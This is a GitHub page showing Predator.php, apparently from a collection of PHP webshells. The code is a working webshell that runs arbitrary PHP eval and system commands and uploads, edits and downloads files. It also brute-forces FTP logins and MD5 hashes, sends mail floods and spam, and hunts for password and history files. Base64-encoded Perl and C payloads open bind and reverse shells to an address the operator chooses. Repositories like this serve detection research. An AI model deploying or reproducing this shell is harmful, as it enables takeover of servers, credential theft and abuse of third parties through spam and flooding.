forked from JohnTroony/php-webshells
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Predator.php
1367 lines (1280 loc) · 42.7 KB
/
Predator.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<?php
$auth = 0;
ini_set("session.gc_maxlifetime",1);
session_start();
error_reporting(0);
safe_mode();
$name="9b534ea55d0b82c3a7e80003a84b6865"; //login = 'mylogin'
$pass="a029d0df84eb5549c641e04a9ef389e5"; //pass = 'mypass'
if($auth == 1){
if (!isset($HTTP_SERVER_VARS['PHP_AUTH_USER']) || md5($HTTP_SERVER_VARS['PHP_AUTH_USER'])!=$name || md5($HTTP_SERVER_VARS['PHP_AUTH_PW'])!=$pass)
{
header("WWW-Authenticate: Basic realm=\"PanelAccess\"");
header("HTTP/1.0 401 Unauthorized");
exit("Access Denied");
}
}
if($_GET['kill']=='yes')
{
unlink($_SERVER['SCRIPT_FILENAME']);
echo "<script>alert('Your shell script was succefully deleted!')</script>";
}
function md5_brute($hash,$log,$dict)
{
ignore_user_abort(1);
set_time_limit(0);
$fl = fopen($dict, "r");
$fl = fopen($log, "w");
$count = 0;
if(!$dict){
return "Fill 'dictionary_file' field!";
}if(!$log){
return "Fill 'log_file' field!";
}elseif(!strlen($hash) == 0){
return "Fill 'md5_hash' field!";
}else{
while(!$feof($dict)){
$pass = fgets($dict);
$brute_hash = md5($pass);
if($brute_hash == $hash){
fputs($log, "$hash:$pass\n---");
fclose($dict);
fclose($log);
exit;
}else{
$count = $count + 1;
fputs($log, "$count passwords was bruted...");
}
}
fputs($log, "$count passwords are failed!");
}
fclose($dict);
fclose($log);
}
function port_bind($port,$pass,$method)
{
$perl = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS
VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs
JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV
TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG
lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK
Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i
Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N
lIENPTk47DQpleGl0IDA7DQp9DQp9";
$c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS
A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I
GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt
b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9
pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF
NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK
ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog
ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk
7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2
9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld
2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu
dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp
lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0=";
if($method=='Perl')
{
fputs($i=fopen('/tmp/shlbck','w'),base64_decode($perl));
fclose($i);
ex(which("perl")." /tmp/shlbck ".$port." &");
unlink("/tmp/shlbck");
return ex('ps -aux | grep shlbck');
}
elseif($method=='C#')
{
fputs($i=fopen('/tmp/shlbck.c','w'),base64_decode($c));
fclose($i);
ex("gcc shlbck.c -o shlbck");
unlink('shlbck.c');
ex("/tmp/shlbck ".$port." ".$pass." &");
unlink("/tmp/shlbck");
return ex('ps -aux | grep shlbck');
}else
{
return 'Choose method';
}
}
function backconnect($ip,$port,$method)
{
$perl = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
$c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC
BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb
SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd
KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ
sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC
Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D
QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp
Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
if($method=='Perl')
{
fputs($i=fopen('/tmp/shlbck','w'),base64_decode($perl));
fclose($i);
ex(which("perl")." /tmp/shlbck ".$ip." ".$port." &");
unlink("/tmp/shlbck");
return ex('netstat -an | grep -i listen');
}
elseif($method=='C#')
{
fputs($i=fopen('/tmp/shlbck.c','w'),base64_decode($c));
fclose($i);
ex("gcc shlbck.c -o shlbck");
unlink('shlbck.c');
ex("/tmp/shlbck ".$ip." ".$port." &");
unlink("/tmp/shlbck");
return ex('netstat -an | grep -i listen');
}else
{
return 'Choose method';
}
}
if($_POST['type']==11){download(stripslashes($_POST['value']));};
function download($dfilename)
{
$file=fopen($dfilename,"r");
ob_clean();
$filename = basename($dfilename);
$filedump = fread($file,@filesize($dfilename));
fclose($file);
header("Content-type: ".$mime_type);
header("Content-disposition: attachment; filename=\"".$filename."\";");
echo $filedump;
}
function flooder($logf,$to,$from,$subject,$msg,$amount,$check)
{
ignore_user_abort(1);
set_time_limit(0);
$fl = fopen($logf, "w");
$count = 0;
if(!$logf){
return "Fill 'log_file' field!";
}elseif(!$to){
return "Fill 'Send to' field!";
}elseif(!$from){
return "Fill 'From' field!";
}elseif(!$subject){
return "Fill 'Subject' field!";
}elseif(!$msg){
return "Fill 'Message' field!";
}elseif(!$amount){
return "Fill 'Amount' field!";
}else{
while($count < $amount){
mail("$to", "$subject", "$msg", "From: $from");
$count = $count + 1;
$fl = fopen($logf, "w");
fputs($fl, "$count flood-letters was sended...");
fclose($fl);
}
if(strlen($check) != 0){
$check_text = "Done! $count flood-letters was sended!";
$check_sub = 'Check';
mail("$check", "$check_sub", "$check_text", "From: $from");
$fl = fopen($logf, "w");
fputs($fl, "Done! $count flood-letters was sended!");
}
else{
$fl = fopen($logf, "w");
fputs($fl, "Done! $count flood-letters was sended!");
}
}
fclose($fl);
}
function ftp_brute($host,$ftp_users,$ftp_passwd,$ftp_log)
{
ignore_user_abort(1);
set_time_limit(0);
$fl = fopen($ftp_users, "r");
$fd = fopen($ftp_passwd, "r");
$fr = fopen($ftp_log, "a+");
if(!$host){
return "Fill 'Host' field!";
}elseif(!$ftp_users){
return "Fill 'ftp_users file' field!";
}elseif(!$ftp_passwd){
return "Fill 'ftp_passwd file' field!";
}elseif(!$ftp_log){
return "Fill 'ftp_log file' field!";
}elseif(!file_exists($ftp_users)){
return "File ".$ftp_users." doesn't exists!";
}elseif(!file_exists($ftp_passwd)){
return "File ".$ftp_passwd." doesn't exists!";
}
else{
while(!feof($fd)){
$pass = fgets($fd);
while(!feof($fl)){
$user = fgets($fl);
$connect = ftp_connect($host);
if(!$connect){
fputs($fr, "Enable connect to $host\n");
exit;
}else{
$auth = ftp_login($connect, $user, $pass);
if(!$auth){
ftp_quit($connect);
}
else{
fputs($fr, "$host:\n---$login:$pass\n---");
ftp_quit($connect);
}
}
}
}
fputs($fr, "Done:\n");
fclose($fr);
}
fclose($fl);
fclose($fd);
}
function spammer($from,$subject,$msg,$check,$elist,$logf)
{
ignore_user_abort(1);
set_time_limit(0);
$fp = fopen($elist. "r");
$fl = fopen($logf, "w");
$count = 0;
if(!$from){
return "Fill 'From' field!";
}elseif(!$elist){
return "Fill 'Emails list' field!";
}elseif(!$logf){
return "Fill 'Log File' field!";
}elseif(!$msg){
return "Fill 'Message' field!";
}elseif(!$subject){
return "Fill 'Subject' field!";
}elseif(!file_exists($elist)){
return "File ".$elist." doesn't exists!";
}else{
while(!feof($fp)){
$to = fgets($fp);
mail("$to", "$subject", "$msg", "From: $from");
$count = $count + 1;
$fl = fopen($logf, "w");
fputs($fl, "$count letters was sended...");
fclose($fl);
}
if(strlen($check) != 0){
$check_text = "Done! $count letters was sended!";
$check_sub = 'Check';
mail("$check", "$check_sub", "$check_text", "From: $from");
$fl = fopen($logf, "w");
fputs($fl, "Done! $count letters was sended!\n");
}
else{
$fl = fopen($logf, "w");
fputs($fl, "Done! $count letters was sended!");
}
}
fclose($fp);
fclose($fl);
}
function alias($in)
{
if($in=="find apahce config file"){return ex('find / -type f -name httpd.conf');}
elseif($in=="find access_log files"){return ex('find / -type f -name access_log');}
elseif($in=="find error_log files"){return ex('find / -type f -name error_log');}
elseif($in=="find suid files"){return ex('find / -type f -perm -04000 -ls');}
elseif($in=="find suid files in current dir"){return ex('find . -type f -perm -04000 -ls');}
elseif($in=="find sgid files"){return ex('find / -type f -perm -02000 -ls');}
elseif($in=="find sgid files in current dir"){return ex('find . -type f -perm -02000 -ls');}
elseif($in=="find config.inc.php files"){return ex('find / -type f -name config.inc.php');}
elseif($in=="find config.inc.php files in current dir"){return ex('find . -type f -name config.inc.php');}
elseif($in=="find config* files"){return ex('find / -type f -name "config*"');}
elseif($in=="find config* files in current dir"){return ex('find . -type f -name "config*"');}
elseif($in=="find all writable files"){return ex('find / -type f -perm -2 -ls');}
elseif($in=="find all writable files in current dir"){return ex('find . -type f -perm -2 -ls');}
elseif($in=="find all writable directories"){return ex('find / -type d -perm -2 -ls');}
elseif($in=="find all writable directories in current dir"){return ex('find . -type d -perm -2 -ls');}
elseif($in=="find all writable directories and files"){return ex('find / -perm -2 -ls');}
elseif($in=="find all writable directories and files in current dir"){return ex('find . -perm -2 -ls');}
elseif($in=="find all service.pwd files"){return ex('find / -type f -name service.pwd');}
elseif($in=="find service.pwd files in current dir"){return ex('find . -type f -name service.pwd');}
elseif($in=="find all .htpasswd files"){return ex('find / -type f -name .htpasswd');}
elseif($in=="find .htpasswd files in current dir"){return ex('find . -type f -name .htpasswd');}
elseif($in=="find all .bash_history files"){return ex('find / -type f -name .bash_history');}
elseif($in=="find .bash_history files in current dir"){return ex('find . -type f -name .bash_history');}
elseif($in=="find all .mysql_history files"){return ex('find / -type f -name .mysql_history');}
elseif($in=="find .mysql_history files in current dir"){return ex('find . -type f -name .mysql_history');}
elseif($in=="find all .fetchmailrc files"){return ex('find / -type f -name .fetchmailrc');}
elseif($in=="find .fetchmailrc files in current dir"){return ex('find . -type f -name .fetchmailrc');}
elseif($in=="list file attributes on a Linux second extended file system"){return ex('lsattr -va');}
elseif($in=="show opened ports"){return ex('netstat -an | grep -i listen');}
elseif($in=="---------------------------------------------------------------------------------------------------------"){return ex('ls -la');}
}
function testperl()
{
if(ex('perl -h'))
{
return "<font size=2 color=green>ON</font>";
}else{
return "<font size=2 color=red>OFF</font>";
}
}
function testlynx()
{
if(ex('lynx --help'))
{
return "<font size=2 color=green>ON</font>";
}else{
return "<font size=2 color=red>OFF</font>";
}
}
function view_size($size)
{
if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
else {$size = $size . " B";}
return $size;
}
function testfetch()
{
if(ex('fetch --help'))
{
return "<font size=2 color=green>ON</font>";
}else{
return "<font size=2 color=red>OFF</font>";
}
}
function testwget()
{
if(ex('wget --help'))
{
return "<font size=2 color=green>ON</font>";
}else{
return "<font size=2 color=red>OFF</font>";
}
}
function oracle()
{
if(function_exists('ocilogon'))
{
return "<font size=2 color=green>ON</font>";
}else{
return "<font size=2 color=red>OFF</font>";
}
}
function postgresql()
{
if(function_exists('pg_connect'))
{
return "<font size=2 color=green>ON</font>";
}else{
return "<font size=2 color=red>OFF</font>";
}
}
function testmssql()
{
if(function_exists('mssql_connect'))
{
return "<font size=2 color=green>ON</font>";
}else{
return "<font size=2 color=red>OFF</font>";
}
}
function testcurl()
{
if(function_exists('curl_version'))
{
return "<font size=2 color=green>ON</font>";
}else{
return "<font size=2 color=red>OFF</font>";
}
}
function testmysql()
{
if(function_exists('mysql_connect'))
{
return "<font size=2 color=green>ON</font>";
}else{
return "<font size=2 color=red>OFF</font>";
}
}
function safe_mode()
{
if(!$safe_mode && strpos(ex("echo abch0ld"),"h0ld")!=3)
{
$_SESSION['safe_mode'] = 1;
return "<font size=2 color=green>ON</font>";
}else{
$_SESSION['safe_mode'] = 0;
return "<font size=2 color=red>OFF</font>";
}
};
function ex($in)
{
$out = '';
if(function_exists('exec'))
{
exec($in,$out);
$out = join("\n",$out);
}
elseif(function_exists('passthru'))
{
ob_start();
passthru($in);
$out = ob_get_contents();
ob_end_clean();
}
elseif(function_exists('system'))
{
ob_start();
system($in);
$out = ob_get_contents();
ob_end_clean();
}
elseif(function_exists('shell_exec'))
{
$out = shell_exec($in);
}
elseif(is_resource($f = popen($in,"r")))
{
$out = "";
while(!@feof($f)) { $out .= fread($f,1024); }
pclose($f);
}
return $out;
}
function shell()
{
if($_POST['type']==1)
{
eval(stripslashes($_POST['value']));
}
elseif($_POST['type']==2)
{
pwd();
print_r(ex(stripslashes($_POST['value'])));
}
elseif($_POST['type']==3)
{
if($_SESSION['safe_mode'] == 1){
if(($u=safe_ex('ls -la'))!='')
{return $u;}else{return safe_ex('dir');};
}else{
if(($u=ex('ls -la'))!='')
{return $u;}else{return ex('dir');};
}
}
elseif($_POST['type']==4)
{
if(file_exists(stripslashes($_POST['value'])))
{
if($safe_mode!=1){
echo htmlspecialchars(fread(fopen(stripslashes($_POST['value']),"rw"),filesize(stripslashes($_POST['value']))));
}else{
echo htmlspecialchars(safe_read(stripslashes($_POST['value'])));
};
$_SESSION['edit']=1;
$_SESSION['filename'] = $_POST['value'];
}else{
return 'File doesn\'t exists!';
}
}
elseif($_POST['type']==5)
{
fputs(fopen($_SESSION['filename'],"w"),stripslashes($_POST['value']));
}
elseif($_POST['type']==6)
{
$uploaddir = pwd();
if(!$name=$_POST['newname']){$name = $_FILES['userfile']['name'];};
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name);
}
elseif($_POST['type']==7)
{
echo alias($_POST['value']);
}
elseif($_POST['type']==8)
{
echo spammer(stripslashes($_POST['from']),stripslashes($_POST['subject']),stripslashes($_POST['msg']),stripslashes($_POST['check']),stripslashes($_POST['elist']),stripslashes($_POST['logf']));
}
elseif($_POST['type']==9)
{
echo ftp_brute(stripslashes($_POST['host']),stripslashes($_POST['users']),stripslashes($_POST['passwd']),stripslashes($_POST['log']));
}
elseif($_POST['type']==10)
{
echo flooder(stripslashes($_POST['log']),stripslashes($_POST['to']),stripslashes($_POST['from']),stripslashes($_POST['subject']),stripslashes($_POST['msg']),stripslashes($_POST['amount']),stripslashes($_POST['check']));
}
elseif($_POST['type']==12)
{
echo backconnect(stripslashes($_POST['ip']),stripslashes($_POST['port']),stripslashes($_POST['method']));
}
elseif($_POST['type']==13)
{
echo backconnect(stripslashes($_POST['port']),stripslashes($_POST['pass']),stripslashes($_POST['method']));
}
elseif($_POST['type']==14)
{
echo md5_brute(stripslashes($_POST['hash']),stripslashes($_POST['log']),stripslashes($_POST['dict']));
}
else
{$u = ex('ls -la');
if($u == ''){return ex('dir');}else{return $u;};
}
return null;
};
function edit()
{
if ($_SESSION['edit'] == 1){
$_SESSION['edit']=0;
return "<br><center><input type=submit style=\"border:1px solid #666666;background:#333333;font-weight:bold;\" value=\"Save\"></center>";};
}
function getsystem()
{
return php_uname('s')." ".php_uname('r')." ".php_uname('v');
};
function getserver()
{
return getenv("SERVER_SOFTWARE");
};
function getuser()
{
$out = get_current_user();
if($out!="SYSTEM")
{
if(($out=ex('id'))==''){$out = "uid=".getmyuid()."(".get_current_user().") gid=".getmygid();};
}
return $out;
};
function pwd()
{
if($_POST['type']==3)
{
$_SESSION['pwd'] = stripslashes($_POST['value']);
}
chdir($_SESSION['pwd']);
$cwd = getcwd();
if($u=strrpos($cwd,'/'))
{
if($u!=strlen($cwd)-1){
return $cwd.'/';}
else{return $cwd;};
}
elseif($u=strrpos($cwd,'\\'))
{
if($u!=strlen($cwd)-1){
return $cwd.'\\';}
else{return $cwd;};
};
}
function safe_ex($in)
{
if($in){
$d=dir('.');
while (false!==($file=$d->read()))
{
if ($file=="." || $file=="..") continue;
@clearstatcache();
list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
if(!$unix){
echo date("d.m.Y H:i",$mtime)." ";
if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size);
}
else{
$owner = @posix_getpwuid($uid);
$grgid = @posix_getgrgid($gid);
echo $inode." ";
echo perms(@fileperms($file));
printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
echo date("d.m.Y H:i ",$mtime);
}
echo "$file\n";
}
$d->close();
}
function safe_read($in)
{
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include("/etc/passwd");
ini_restore("safe_mode");
ini_restore("open_basedir");
echo ini_get("safe_mode");
echo ini_get("open_basedir");
file_get_contents($in);
}
}
?>
<html>
<head>
<title>.::Predator::.</title>
<META http-equiv="Content-Type" content="text/html; charset=CP866">
<style type=text/css>
.ta {background: #333333; border:1px solid #666666; color: #FFFFFF;}
.bt {border: 1px solid #666666;background: #333333;font-weight:bold;}
.td1 {border:2px solid #000000;}
.td2 {border:1px solid #000000;}
.ram {border:1px solid #666666;background:#222222;}
body { scrollbar-base-color: #333333}
</style>
<script>
function kill()
{
var y;
y = confirm('Are you really want to kill shell?');
if(y == true)
{
document.location = '?kill=yes';
}
}
</script>
</head>
<body bgcolor='#000000'>
<center><table width=90% cellpadding=0 cellspacing=0 style="border: 1px solid #666666">
<tr><td width=100% height=70 bgcolor='#333333' style="border-bottom: 2px solid #666666" valign=top>
<table valign=top>
<tr><td valign=top>
<table valign=center class='ram'>
<tr><td width=5% align=right>
<font size=2 color=#888888>System:</font>
</td>
<td width=100%>
<font size=2 color=red><b><?php echo getsystem();?></b></font>
</td></tr>
<tr><td width=5% align=right>
<font size=2 color=#888888>Server:</font>
</td>
<td width=100%>
<font size=2 color=red><b><?php echo getserver();?></b></font>
</td></tr>
<tr><td width=5% align=right>
<font size=2 color=#888888>User:</font>
</td>
<td width=100%>
<font size=2 color=red><b><?php echo getuser();?></b></font>
</td></tr>
<tr><td width=5% align=right>
<font size=2 color=#888888>pwd:</font>
</td>
<td width=100%>
<font size=2 color=red><b><?php if(strlen($u=pwd())>45){echo "...".substr($u,strlen($u)-40,40);}else{echo $u;};?></b></font>
</td></tr>
</table>
</td>
<td width=13% valign=center align=center>
<table width=100% height=100% cellpadding=0 cellspacing=0><tr><td width=100% height=100%>
<center>
<a href="http://h0ld-up.info"><table cellpadding=2 cellspacing=2 style="border:1px solid #666666;background:#444444">
<tr><td><font size=2 color=#999999>
<center><b>.::h0ld-up-team::.<br>web-shell</b></center>
</font></td></tr></table></a></center>
</td></tr><tr><td height=5></td></tr><tr><td>
<center>
<input type=submit style="border:1px solid #666666;background: darkred;font-weight:bold;" value=' Kill Shell ' onclick='kill()'>
</center>
</td></tr></table>
</td>
<td class='ram' width=45% valign=center align=center>
<table cellpadding=0 cellspacing=0>
<tr><td>
<table valign=top cellpadding=0 cellspacing=0>
<tr><td align=right>
<font size=2 color='#888888'>PHP-version:</font>
</td></tr>
<tr><td align=right>
<font size=2 color='#888888'>MySQL:</font>
</td></tr>
<tr><td align=right>
<font size=2 color='#888888'>MSSQL:</font>
</td></tr>
<tr><td align=right>
<font size=2 color='#888888'>PostgreSQL:</font>
</td></tr>
<tr><td align=right>
<font size=2 color='#888888'>Oracle:</font>
</td></tr>
</table>
</td><td>
<table valign=top cellpadding=0 cellspacing=0>
<tr><td>
<b><font size=2 color=red><?php echo phpversion();?></font></b>
</td></tr>
<tr><td>
<b><?php echo testmysql();?></b>
</td></tr>
<tr><td>
<b><?php echo testmssql();?></b>
</td></tr>
<tr><td>
<b><?php echo postgresql();?></b>
</td></tr>
<tr><td>
<b><?php echo oracle();?></b>
</td></tr>
</table>
</td><td width=4%></td>
<td valign=top><table cellpadding=0 cellspacing=0 valign=top>
<tr><td valign=top align=right>
<font color=#888888 size=2>Safe_mode:</font>
</td></tr>
<tr><td valign=top align=right>
<font color=#888888 size=2>cURL:</font>
</td></tr>
<tr><td valign=top align=right>
<font color=#888888 size=2>wget:</font>
</td></tr>
<tr><td valign=top align=right>
<font color=#888888 size=2>fetch:</font>
</td></tr>
<tr><td valign=top align=right>
<font color=#888888 size=2>lynx:</font>
</td></tr>
